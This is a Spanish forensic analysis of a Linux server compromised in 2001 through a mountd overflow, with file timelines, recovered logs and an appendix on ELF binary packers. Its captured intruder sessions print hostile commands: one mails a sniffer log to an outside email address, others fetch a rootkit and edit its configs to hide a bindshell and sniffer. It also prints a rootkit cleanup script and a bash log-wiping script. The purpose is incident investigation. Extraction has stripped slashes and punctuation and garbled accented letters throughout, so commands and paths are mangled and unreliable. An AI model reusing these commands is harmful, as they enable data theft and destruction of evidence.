La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

